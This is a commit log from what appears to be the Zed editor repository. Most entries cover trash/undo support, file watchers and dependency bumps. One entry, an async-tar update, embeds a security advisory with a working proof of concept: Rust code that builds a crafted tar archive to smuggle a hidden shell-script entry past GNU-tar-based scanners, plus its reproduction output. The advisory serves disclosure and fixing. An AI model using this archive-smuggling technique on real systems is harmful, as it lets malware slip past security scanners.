Commit Graph
76 Commits
Author SHA1 Message Date
DinoandYara 23ee3ba37d project_panel: Add remote support for undo/redo system (#59709)
# Objective

Add remote (SSH) and collaboration support for trashing and restoring
files in the project panel, which in turn enables undo/redo of trash
operations against remote and collab projects.

Relates to #5039.

## Solution

- Updated the project panel undo system to carry `TrashId` instead of
`TrashedEntry`.
- Using `TrashedEntry` could get hairy, as it includes paths, which
wouldn't play too nicely when using, for exapmle, macOS as the client
and Windows as the host. Using a simple identifier is much easier in
this regard and simplifies implementation.
- Enabled the Trash action and context-menu entry on remote projects,
and removed the command palette filter in `ProjectPanel::new` that was
still hiding the action on remote.
- As far as I can tell, there isn't a reliable way to detect whether a
given remote actually supports the OS trash, so we expose the action
everywhere rather than guessing. On a remote without trash support the
action will fail when invoked but this is a conscious tradeoff until we
find a better way to handle this.
- `fs` now tracks trashed files in a `SlotMap<TrashId, TrashedEntry>` on
each `Fs` implementation. Trashed files are referenced by an opaque
`TrashId` instead of passing a `TrashedEntry` around, which avoids
serializing filesystem paths in remote messages.
- Split the old `delete_entry(trash: bool)` API into distinct
`trash_entry`/`trash_file` (returning a `TrashId`) and
`delete_entry`/`delete_file` across `Project`, `Worktree`,
`LocalWorktree` and `RemoteWorktree`.
- This lets us drop the optional trash result (`Option<TrashedEntry>`)
from the delete path and require a `TrashId` from the trash path.
- Added new proto messages (`TrashProjectEntry`,
`TrashProjectEntryResponse`, `RestoreProjectEntry`,
`RestoreProjectEntryResponse`) to let clients request the host to trash
or restore entries.
- This deprecates `DeleteProjectEntry::use_trash`, but the host still
honors it. An older collab peer may request trashing via that flag
instead of the newer `TrashProjectEntry`. If the host ignored it, a
newer host would permanently delete a file the user meant to send to the
trash. The field will be removed in a later PR once all supported peers
use `TrashProjectEntry`.

## Testing

The following tests were introduced to ensure the new behavior is
correctly tested:

* `remote_server::remote_editing_tests::test_remote_trash_restore` –
Tests trashing a project entry in remote
*
`remote_server::remote_editing_tests::test_remote_delete_project_entry_with_trash`
– Test to ensure we continue respecting `DeleteProjectEntry::use_trash`
until it is fully removed
* `project_panel::tests::undo::trash_directory_undo_redo` – Not related
to these changes but a nice to have as we were missing a test ensuring
that trashing and then undoing and redoing it for a directory works as
expected

Besides these, the following scenarios were manually tested against a
remote session on the same machine (macOS):

- Trashing → Undo (Restore) → Redo (Trashing)
- Batch Trashing → Undo (Batch Restore) → Redo (Batch Trashing)
- Rename → Undo (Rename) → Redo (Rename)
- Move → Undo (Move) → Redo (Move)
- Batch Move → Undo (Batch Move) → Redo (Batch Move)

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

Release Notes:

- N/A

---------

Co-authored-by: Yara <git@yara.blue>
2026-07-16 09:41:21 +00:00
Lukas Wirth 6b6393fb0b Split out RelPath into a separate crate (#61029)
This is necessary to remove some `util` dependencies from crates, as
well as better sharing for our projects. This also includes the WIP
AbsPath abstraction as well as some bug fixes from internal tooling.


Release Notes:

- N/A or Added/Fixed/Improved ...
2026-07-15 08:33:25 +00:00
renovate[bot]andKirill Bulatov 084cf7b50f Update Rust crate async-tar to 0.6.0 [SECURITY] (#60623)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [async-tar](https://redirect.github.com/dignifiedquire/async-tar) |
workspace.dependencies | minor | `0.5.1` → `0.6.0` |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/15138) for more information.

---

### async-tar PAX extension-header desync enables tar entry/content
smuggling
[CVE-2026-53600](https://nvd.nist.gov/vuln/detail/CVE-2026-53600) /
[GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)

<details>
<summary>More information</summary>

#### Details
##### Summary

`async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an
intermediary
extension header (a GNU longname `L`, a GNU longlink `K`, or a PAX
`x`/`g`
header) instead of to the next *file* entry. POSIX requires a PAX
extended-header
record set to describe the next file entry, never an intervening
extension
header. Because `poll_next_raw` (`src/archive.rs`) threads the buffered
PAX
records into the size computation of whatever raw header it reads next —
and that
header can be an intermediary `L` — the stream cursor is advanced by an
attacker-chosen amount when the `L` body is consumed. The parser then
desyncs
relative to a POSIX-correct tar parser (e.g. GNU tar), reading
subsequent bytes
at the wrong block boundary.

An attacker who can influence a tar stream that an `async-tar` consumer
extracts
can construct an `x → L → file` sequence whose entry list and on-disk
result
differ between `async-tar` and a reference parser. This enables
content/entry
smuggling: a file that a GNU-tar-based scanner/validator/AV sees as
benign opaque
data is extracted by `async-tar` as a different file with different
bytes (e.g. an
executable script), and vice versa.

Type confusion / improper validation of the specified quantity (size).
CWE-20,
CWE-843. Severity assessed Medium, consistent with the same defect class
in the
upstream tar-rs / tokio-tar lineage.

##### Affected code

Package: `async-tar` (crates.io). Affected version: **0.6.0** (latest
release) and
current `main` HEAD. Both lack the extension-header guard.

`src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag,
commit `45814b19295b7398e119c90c57d8c8bf70a798b6`):

```rust
    let file_pos = *next;

    let mut header = current_header.take().unwrap();

    // when pax extensions are available, the size should come from there.
    let mut size = header.entry_size()?;

    // the size above will be overriden by the pax data if it has a size field.
    // same for uid and gid, which will be overridden in the header itself.
    if let Some(pax_extensions_data) = pax_extensions_data {   // <-- no is_extension_header guard
        let pax = pax_extensions(pax_extensions_data);
        for extension in pax {
            let extension = extension.map_err(|_e| other("pax extensions invalid"))?;
            let Some(key) = extension.key().ok() else { continue };
            match key {
                "size" => {
                    let size_str = extension.value()
                        .map_err(|_e| other("failed to parse pax size as string"))?;
                    size = size_str.parse::<u64>()
                        .map_err(|_e| other("failed to parse pax size"))?;
                }
                "uid" => { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); }
                "gid" => { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); }
                _ => { continue }
            }
        }
    }

    let data = EntryIo::Data(archive.clone().take(size));   // body length = mis-applied PAX size
```

and a few lines further down the same function:

```rust
    // Store where the next entry is, rounding up by 512 bytes.
    let size = (size + 511) & !(512 - 1);
    *next += size;                                          // cursor advance = mis-applied PAX size
```

The caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX
local
extension into `current_pax_extensions` and then calls `poll_next_raw`
with
`current_pax_extensions.as_deref()` for the *next* raw header. When that
next
raw header is an intermediary GNU longname (handled by the
`is_gnu_longname()`
branch a few lines later), the PAX `size` is applied to it, so `*next`
advances by
the spoofed size rather than the `L` header's own declared size. That is
the
desync.

The buffered PAX records are intended to apply only to the following
*file*
entry; the missing check is whether the raw header currently being sized
is itself
an extension header (`L`/`K`/`x`/`g`).

##### Impact

Differential extraction / entry smuggling. A consumer that extracts an
attacker-influenced tar stream with `async-tar` (e.g. a server endpoint
that
unpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that
unpacks
a remote tarball, an archive-preview/scan pipeline) will:

- materialize files / file contents that a POSIX-correct parser (GNU
tar,
  libarchive/bsdtar) does not surface, and
- omit or alter files that the reference parser does surface.

This breaks any security control that relies on scanning the archive
with one
parser and extracting with `async-tar`: a malware/secret scanner reading
the
stream with GNU tar can be made to see only benign data while
`async-tar` writes
an executable payload to disk. It can also be used to hide entries from
audit/inventory tooling, or to write content to a path the reviewer
believes
holds something else. No attacker-controlled local state is required —
only the
ability to influence the bytes of the tar stream that the consumer
extracts.

##### How input reaches the sink (reachability)

The vulnerable path is the library's primary public API for reading
archives:
`Archive::new(reader).entries()` returns an `Entries` stream whose
`poll_next`
drives `poll_next_raw` for every header. Any consumer that iterates
entries (or
calls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream
reaches
the sink with no additional configuration. The `reader` need not be a
file — it is
any `AsyncRead`, so an upload buffer, an HTTP response body, or a
decompressor
output all qualify. The only precondition for the desync is that the
stream
contain a PAX local-extension header (`x`) carrying a `size` record
immediately
followed by an intermediary GNU longname (`L`) before the next file
header — a
structure the attacker fully controls in the archive bytes.
Representative
reachable consumers are server endpoints that unpack uploaded
`.tar`/`.tar.gz`
bodies, dependency/artifact fetchers that unpack remote tarballs, and
archive-scan/preview pipelines.

##### Proof of concept

A standalone Rust consumer binary that links the published crates.io
`async-tar = "=0.6.0"` (`default-features = false, features =
["runtime-tokio"]`)
and runs the real `Archive::new(...).entries()` extraction loop (the
same shape
used by real downstream server consumers that unpack uploaded tarballs).
It reads
a tar file and writes each entry to a destination directory, printing
the entry
list `async-tar` surfaces. A second binary hand-crafts the malicious and
benign
tar byte streams.

Malicious archive geometry (block = 512 bytes):

```
B0  x  PAX local-extension header, records declare size=1024 (= 2 blocks)
B1     PAX records  ("<len> size=1024\n")
B2  L  GNU longname header, OWN declared size = 512 (= 1 block)
B3     longname block #&#8203;1  = "GNU_SEES_THIS.txt\0..."   (the name GNU tar uses)
B4     a normal file header "placeholder_A" (size 512)
B5     <-- this block IS a valid tar header for the smuggled file
           "hidden_payload.sh" (size 65)
B6     smuggled payload  "#!/bin/sh\n# SMUGGLED ENTRY...\n"
B7,B8  two zero blocks (EOF)
```

GNU tar honours the `L` header's own declared size (1 block) for the
longname and
ignores the buffered PAX `size`, so it reads B3 as the longname, treats
B4 as the
file, and reads B5 as that file's opaque data. `async-tar` mis-applies
the PAX
`size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands
its cursor
on B5, parses it as a tar header, and extracts the smuggled
`hidden_payload.sh`
body (B6).

Tar-builder source (`mktar.rs`):

```rust
use std::io::Write;
const BLOCK: usize = 512;

fn octal(buf: &mut [u8], v: u64) {
    let s = format!("{:0width$o}", v, width = buf.len() - 1);
    let b = s.as_bytes();
    buf[..b.len()].copy_from_slice(b);
    buf[b.len()] = 0;
}

fn header(name: &[u8], size: u64, typeflag: u8) -> [u8; BLOCK] {
    let mut h = [0u8; BLOCK];
    let n = name.len().min(100);
    h[..n].copy_from_slice(&name[..n]);
    octal(&mut h[100..108], 0o644);
    octal(&mut h[108..116], 0);
    octal(&mut h[116..124], 0);
    octal(&mut h[124..136], size);
    octal(&mut h[136..148], 0);
    h[156] = typeflag;
    if typeflag == b'L' { h[257..265].copy_from_slice(b"ustar  \0"); }
    else { h[257..263].copy_from_slice(b"ustar\0"); h[263..265].copy_from_slice(b"00"); }
    for b in &mut h[148..156] { *b = b' '; }
    let sum: u32 = h.iter().map(|b| *b as u32).sum();
    h[148..156].copy_from_slice(format!("{:06o}\0 ", sum).as_bytes());
    h
}

fn pad(out: &mut Vec<u8>, len: usize) {
    let rem = len % BLOCK;
    if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); }
}
fn pax_record(key: &str, val: &str) -> Vec<u8> {
    let mut len = key.len() + val.len() + 3;
    loop {
        let s = format!("{} {}={}\n", len, key, val);
        if s.len() == len { return s.into_bytes(); }
        len = s.len();
    }
}
fn name_block(name: &[u8]) -> Vec<u8> { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b }
fn write_block(out: &mut Vec<u8>, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); }

fn build_malicious() -> Vec<u8> {
    let mut out = Vec::new();
    let gnu_name = b"GNU_SEES_THIS.txt";
    let spoof = (BLOCK * 2) as u64;
    let mut recs = Vec::new();
    recs.extend(pax_record("size", &spoof.to_string()));
    out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
    write_block(&mut out, &recs);
    out.extend_from_slice(&header(b"././@&#8203;LongLink", BLOCK as u64, b'L'));
    out.extend_from_slice(&name_block(gnu_name));                 // B3
    out.extend_from_slice(&header(b"placeholder_A", BLOCK as u64, b'0')); // B4
    let smuggled_body = b"#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n".to_vec();
    out.extend_from_slice(&header(b"hidden_payload.sh", smuggled_body.len() as u64, b'0')); // B5
    write_block(&mut out, &smuggled_body);                        // B6
    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
    out
}

fn build_benign() -> Vec<u8> {
    let mut out = Vec::new();
    let mut recs = Vec::new();
    recs.extend(pax_record("path", "normal_file.txt"));
    out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
    write_block(&mut out, &recs);
    let body = b"plain benign content\n".to_vec();
    out.extend_from_slice(&header(b"normal_file.txt", body.len() as u64, b'0'));
    write_block(&mut out, &body);
    let body2 = b"second benign file\n".to_vec();
    out.extend_from_slice(&header(b"second.txt", body2.len() as u64, b'0'));
    write_block(&mut out, &body2);
    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
    out
}

fn main() {
    let a: Vec<String> = std::env::args().collect();
    let bytes = match a[1].as_str() { "malicious" => build_malicious(), "benign" => build_benign(), _ => std::process::exit(2) };
    std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap();
}
```

Consumer source (`main.rs`, mirrors a real `Archive::entries()`
extraction loop):

```rust
use async_tar::Archive;
use tokio::fs;
use tokio::io::AsyncReadExt;
use tokio_stream::StreamExt;

#[tokio::main(flavor = "multi_thread", worker_threads = 2)]
async fn main() {
    let args: Vec<String> = std::env::args().collect();
    let dest = std::path::PathBuf::from(&args[2]);
    fs::create_dir_all(&dest).await.unwrap();
    let bytes = fs::read(&args[1]).await.unwrap();
    let archive = Archive::new(std::io::Cursor::new(bytes));
    let mut entries = archive.entries().expect("entries()");
    let mut idx = 0usize;
    while let Some(entry) = entries.next().await {
        let mut file = match entry { Ok(f) => f, Err(e) => { println!("[async-tar] ERROR: {e}"); break } };
        let path_raw = file.path().expect("path").into_owned();
        let path_disp = path_raw.to_string_lossy().split('\u{0}').next().unwrap_or("").to_string();
        let hdr_size = file.header().size().unwrap_or(0);
        let mut out = dest.clone();
        for comp in std::path::PathBuf::from(&path_disp).components() {
            if let std::path::Component::Normal(p) = comp { out.push(p); }
        }
        let mut body = Vec::new();
        let read = file.read_to_end(&mut body).await.unwrap_or(0);
        if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; }
        let _ = fs::write(&out, &body).await;
        let preview: String = body.iter().take(48)
            .map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect();
        println!("[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\"{preview}\"", path_disp);
        idx += 1;
    }
    println!("[async-tar] total entries surfaced: {idx}");
}
```

`Cargo.toml`:

```toml
[dependencies]
async-tar = { version = "=0.6.0", default-features = false, features = ["runtime-tokio"] }
tokio = { version = "1", features = ["rt-multi-thread", "macros", "io-util", "fs"] }
tokio-stream = "0.1"
futures = "0.3"
```

##### End-to-end reproduction

Reference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release
linked by
the consumer binary above. Verbatim captured output:

```
$ cargo build --release        # links async-tar v0.6.0 from crates.io
   Compiling async-tar v0.6.0
   Compiling async-tar-consumer v0.1.0
    Finished `release` profile [optimized] target(s) in 10.12s

$ ./target/release/mktar malicious mal.tar
wrote 4608 bytes to mal.tar

##### ---- (A) GNU tar reference: list + extract ----
$ gtar tvf mal.tar ; echo "rc=$?"
-rw-r--r-- 0/0            1024 1970-01-01 08:00 GNU_SEES_THIS.txt
rc=0
$ gtar xf mal.tar -C /tmp/gnu_x ; echo "rc=$?"
rc=0
$ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt
hidden_payload.sh

##### (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header
#####  bytes of B5 — a GNU-tar-based scanner sees only benign noise.)

##### ---- (B) async-tar v0.6.0 consumer: extract ----
$ ./target/release/extract mal.tar /tmp/at_mal
[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=65 bytes_read=1024 body="#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t"
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt

#!/bin/sh
##### SMUGGLED ENTRY: invisible to a GNU-tar-based scanner
```

Same bytes, two parsers, different on-disk result: GNU tar writes a
1024-byte
benign blob; `async-tar` writes a 65-byte executable shell script that
the
reference parser never exposes as an entry. The smuggled `#!/bin/sh`
body is
content a GNU-tar-based scanner would never inspect.

Negative control — a benign archive (correct PAX usage: `x` applies
`path` to the
following file, no intermediary `L`):

```
$ ./target/release/mktar benign ben.tar
$ gtar tvf ben.tar ; echo "rc=$?"
-rw-r--r-- 0/0              21 1970-01-01 08:00 normal_file.txt
-rw-r--r-- 0/0              19 1970-01-01 08:00 second.txt
rc=0
$ ./target/release/extract ben.tar /tmp/at_ben
[async-tar] entry#0 path="normal_file.txt" hdr_size=21 bytes_read=21 body="plain benign content."
[async-tar] entry#1 path="second.txt" hdr_size=19 bytes_read=19 body="second benign file."
[async-tar] total entries surfaced: 2
```

GNU tar and `async-tar` produce identical entry lists and identical
on-disk files.
No smuggling. The differential is exclusive to the `x → L → file` desync
sequence.

##### Fix

Apply the buffered PAX records (and the `size`/`uid`/`gid` overrides)
only when
the raw header being sized is NOT itself an extension header. Skip the
override
for GNU longname (`L`), GNU longlink (`K`), and PAX local/global
(`x`/`g`) headers,
whose body length must come from their own declared size. This mirrors
the fix
adopted in the upstream tar-rs / tokio-tar lineage for the same defect
class.

```rust
    // when pax extensions are available, the size should come from there.
    let mut size = header.entry_size()?;

    // PAX extensions describe the NEXT file entry, not an intermediary
    // extension header. Applying a buffered PAX `size` to such an intermediary
    // header (L/K/x/g) advances the stream cursor by the wrong amount and
    // desyncs the parse.
    let entry_type = header.entry_type();
    let is_extension_header = entry_type.is_gnu_longname()
        || entry_type.is_gnu_longlink()
        || entry_type.is_pax_local_extensions()
        || entry_type.is_pax_global_extensions();

    // the size above will be overriden by the pax data if it has a size field.
    // same for uid and gid, which will be overridden in the header itself.
    if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) {
        let pax = pax_extensions(pax_extensions_data);
        for extension in pax {
            // unchanged: same size/uid/gid override loop as before
        }
    }
```

Fix-verify, captured verbatim. The patched `async-tar` (guard added)
re-run
against the same `mal.tar`:

```
$ cargo build --release        # [patch.crates-io] async-tar = { path = "../async-tar-patched" }
   Compiling async-tar v0.6.0 (.../async-tar-patched)
   Compiling async-tar-consumer v0.1.0
    Finished `release` profile [optimized] target(s)
$ ./target/release/extract mal.tar /tmp/at_fix
[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=512 bytes_read=1024 body="hidden_payload.sh..............................."
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt
hidden_payload.sh
```

With the guard, `async-tar`'s view converges with GNU tar's: it surfaces
`GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as
data, and
no longer extracts the smuggled executable script. The benign control
still
produces the correct two-file output. The desync is eliminated.

##### Fix PR

A fix PR adding the `is_extension_header` guard to `poll_next_raw` in
`src/archive.rs` is opened from the advisory's temporary private fork
against this
repository. It carries the diff shown in the **Fix** section above (no
behavioural
change for well-formed archives; only intermediary `L`/`K`/`x`/`g`
headers stop
inheriting a following PAX `size`).

##### Credit

Reported by tonghuaroot.

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N`

#### References
-
[https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m)
-
[https://github.com/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>dignifiedquire/async-tar (async-tar)</summary>

###
[`v0.6.1`](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1)

[Compare
Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1)

###
[`v0.6.0`](https://redirect.github.com/dignifiedquire/async-tar/releases/tag/v0.6.0):
- Tokio Support

[Compare
Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.5.1...v0.6.0)

</details>

---

### Configuration

📅 **Schedule**: (in timezone America/New_York)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

Release Notes:

- N/A

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNDIuMiIsInVwZGF0ZWRJblZlciI6IjQzLjI0Mi4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

---------

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Kirill Bulatov <kirill@zed.dev>
2026-07-14 16:21:54 +00:00
Dino f4bf1511a6 fs: Update trash crate version (#60899)
# Objective

Fix errors in Windows when trashing files from the Git Panel. Closes
#60716.

## Solution

The solution and discussion is available at
https://github.com/zed-industries/trash-rs/pull/3 , seeing as the fix
was fully done on the `trash` crate. Original discussion of this issue
can be found at https://github.com/zed-industries/zed/pull/59595 .

## Testing

Testing was performed manually on a Windows machine by updating Zed's
`fs` crate dependencies to point at the updated code and then building
from source and testing out the same exact path, namely:

1. Create a new untracked file
2. Trash the file from the Git Panel's context menu
3. Confirm that, after confirming that you wish to trash the file, the
file is trash and no error is shown

Since this whole trash-tracking logic was implemented in the context of
the project panel's undo system, I also confirmed that the changes in
the crate's code didn't affect trashing and restoring on Windows.

## Self-Review Checklist:

N/A

## Showcase

<details>
  <summary>Before</summary>


https://github.com/user-attachments/assets/120ab3ec-d631-4243-a21e-c510c27ed518
</details>

<details>
  <summary>After</summary>


https://github.com/user-attachments/assets/7ff1e373-b56d-431f-aad5-d4c5bb301e02
</details>

---

Release Notes:

- Fixed issue when trashing untracked files in Git Panel on Windows
2026-07-13 12:14:37 +00:00
Anthony EidandCole Miller 45e3602c78 Allow file watchers to handle case insensitive file systems (#59579)
## Goal

This PR fixes a bug in our file system watcher. Because it matched paths
case sensitively, it didn't account for file systems that are case
insensitive by default (macOS, Windows, etc.). As a result, when
multiple subscribers watched the same path using different casing, Zed
could fail to emit file system events to some of them.

### Reproduction

I reproduced this with the `tsgo` LSP, which lowercases the file path of
the visible worktree root it runs in. Zed subscribes to worktree roots
to receive FS updates — e.g. external edits to a buffer, or git state
changes — but it doesn't normalize the path when subscribing, so the two
casings never matched.

### Fix

Fixing this took longer than expected, because I spent a while deciding
on an approach. I considered three:

- **Follow VS Code's lead:** always treat macOS/Windows as case
insensitive and Linux as case sensitive. Simple, but it would leave a
couple of bugs.
- **Real case the path at registration:** walk each component and use
syscalls to rewrite it to match what the file system shows the user
(e.g. Finder shows `/Project/some`, so a request to watch
`/project/some` becomes `/Project/some`). This had rough edge cases with
symlinks that I didn't want to deal with.
- **Detect via syscalls whether a path is on a case-insensitive
(normalizing) file system and match accordingly** — what I went with.
The one wrinkle is that Windows can mark individual directories
case-sensitive… because Windows.

I also added integration tests to prevent future regressions.

Note: Windows currently defaults to case insensitive; implementing the
actual case sensitivity check for it is left to a follow up PR.

Helps #38109 #35861 #52376  and maybe #41195

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed missed file system events on case-insensitive filesystems that
could cause stale git state and other sync issues

---------

Co-authored-by: Cole Miller <cole@zed.dev>
2026-06-19 20:49:58 +00:00
Ben Kunkle d5de9b8d71 Update notify to v9.0.0-rc.4 (#58944)
Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes FR-67

Release Notes:

- N/A or Added/Fixed/Improved ...
2026-06-09 20:24:45 +00:00
Max Brunsfeld f43794ddc0 Fix the filtering of index.lock + COMMIT_MESSAGE FS events to work in linked worktrees (#57763)
Zed reloads a lot of data about a git repository any time any file
changes inside of the `.git` directory, with the exception of a few
known paths that we know do not warrant a reload, such as `index.lock`
and `COMMIT_MESSAGE`. Previously, we ignored FS events for those files,
but we used a specific path that only worked for the main worktree. This
caused a lot of unnecessary reloads when using linked worktrees. Now we
ignore those files in a general way, by their filename, so that the
optimization applies to linked worktrees as well.

@cole-miller Noticed this bug.

Release Notes:

- Fixed unnecessary reloading of Git state that could occur when editing
in linked worktrees.
2026-05-27 00:04:30 +00:00
Lukas Wirth e1a69bdc8f Remove smol as a dependency from a bunch of crates (#53603)
We aren't making use of it in these crates and it unblocks some
web-related work

Release Notes:

- N/A or Added/Fixed/Improved ...
2026-04-24 10:29:51 +00:00
Finn EversandDanilo Leal c49ffd1e88 Fix bad GitHub merge queue merge (#54721)
No, sadly, the title is not a typo. See
https://www.githubstatus.com/incidents/zsg1lk7w13cf for the context.
I'll read with joy and popcorn through that root cause analysis.

It makes literally zero sense what happened here, but for some completly
bonkers reason GitHub completely messed up the merge queue with
https://github.com/zed-industries/zed/pull/54632.

I have no idea how it happened. It makes literally zero sense. A PR
going into the merge queue should have the same LoC when getting out of
it. GitHub obviously does not check this. GitHub causes extra work with
a feature that is supposed to save time.

Thanks, I guess.

Release Notes:

- N/A

---------

Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
2026-04-23 23:47:30 +00:00
Danilo Leal 184e1d93e3 branch_picker: Add button to filter remote branches (#54632)
This PR brings back the button to filter remote branches when accessing
the title bar's branch picker with the mouse. It was unintentionally
removed when we introduced the new worktree picker.

Release Notes:

- N/A
2026-04-23 18:26:44 +00:00
68f1d088c1 fs: Polling backend support (#54481)
Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #51340
Release Notes:

- Linux/WSL: Added polling filesystem watching support in order to
support file watching on file systems that do emit events through
`inotify`, for example `/mnt/c` in WSL, network filesystems, and FUSE
mounts. Polling should be automatically chosen over `inotify` when
necessary, however it can be manually chosen by setting the
`ZED_FILE_WATCHER_MODE=poll` env var

---------

Co-authored-by: Lilith River <lilith@imazen.io>
Co-authored-by: Jakub Konka <kubkon@jakubkonka.com>
2026-04-23 11:40:49 +00:00
8ce9ac3e6a project_panel: Add redo and restore support (#53311)
- Introduce `project_panel::Redo` action
- Update all platform keymaps in order to map
`redo`/`ctrl-shift-z`/`cmd-shift-z` to the `project_panel::Redo` action

### Restore Entry Support

- Update both `Project::delete_entry` and `Worktree::delete_entry` to
return the resulting `fs::TrashedEntry`
- Introduce both `Project::restore_entry` and `Worktree::restore_entry`
to allow restoring an entry in a worktree, given the `fs::TrashedEntry`
- Worth pointing out that support for restoring is not yet implemented
for remote worktrees, as that will be dealt with in a separate pull
request
  
### Undo Manager

- Split `ProjectPanelOperation` into two different enums, `Change` and
`Operation`
- While thinking through this, we noticed that simply recording the
operation that user was performing was not enough, specifically in the
case where undoing would restore the file, as in that specific case, we
needed the `trash::TrashedEntry` in order to be able to restore, so we
actually needed the result of executing the operation.
- Having that in mind, we decided to separate the operation (intent)
from the change (result), and record the change instead. With the change
being recorded, we can easily building the operation that needs to be
executed in order to invert that change.
- For example, if an user creates a new file, we record the
`ProjectPath` where the file was created, so that undoing can be a
matter of trashing that file. When undoing, we keep track of the
`trash::TrashedEntry` resulting from trashing the originally created
file, such that, redoing is a matter of restoring the
`trash::TrashedEntry`.
- Refer to the documentation in the `project_panel::undo` module for a
better breakdown on how this is implemented/handled.

- Introduce a task queue for dealing with recording changes, as well as
undo and redo requests in a sequential manner
- This meant moving some of the details in `UndoManager` to a
`project_panel::undo::Inner` implementation, and `UndoManager` now
serves as a simple wrapper/client around the inner implementation,
simply communicating with it to record changes and handle undo/redo
requests
- Callers that depend on the `UndoManager` now simply record which
changes they wish to track, which are then sent to the undo manager's
inner implementation
- Same for the undo and redo requests, those are simply sent to the undo
manager's inner implementation, which then deals with picking the
correct change from the history and executing its inverse operation
- Introduce support for tracking restore changes and operations
- `project_panel::undo::Change::Restored` – Keeps track that the
file/directory associated with the `ProjectPath` was a result of
restoring a trashed entry, for which we now that reverting is simply a
matter of trashing the path again
- `project_panel::undo::Operation::Restore` – Keeps track of both the
worktree id and the `TrashedEntry`, from which we can build the original
`ProjectPath` where the trashed entry needs to be restored
- Move project panel's undo tests to a separate module
